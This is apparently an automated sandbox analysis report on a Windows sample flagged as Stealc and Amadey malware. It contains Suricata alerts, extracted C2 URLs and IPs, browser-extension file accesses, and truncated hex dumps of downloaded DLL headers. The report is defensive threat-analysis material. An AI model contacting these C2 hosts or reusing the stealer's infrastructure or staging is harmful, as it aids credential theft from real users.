Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.0:443 -> 192.168.2.5:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.0:443 -> 192.168.2.5:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.5:50064 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2438078320.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2438078320.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 0b7df35e6b.exe, 0000001C.00000003.2895649410.0000000005330000.00000004.00001000.00020000.00000000.sdmp, 0b7df35e6b.exe, 0000001C.00000002.3028493359.00000000001F2000.00000040.00000001.01000000.00000010.sdmp, 0b7df35e6b.exe, 0000001E.00000002.3084275565.00000000001F2000.00000040.00000001.01000000.00000010.sdmp, 0b7df35e6b.exe, 0000001E.00000003.3044031515.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, 0b7df35e6b.exe, 0000001F.00000003.3178925492.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, 0b7df35e6b.exe, 0000001F.00000002.3219123978.00000000001F2000.00000040.00000001.01000000.00000010.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 42MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50067 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:50082
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50121 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50119 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50118 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50133 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50132 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50136 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 03:16:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 03:16:28 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 03:16:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 03:16:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 03:16:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 12 Nov 2024 03:16:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 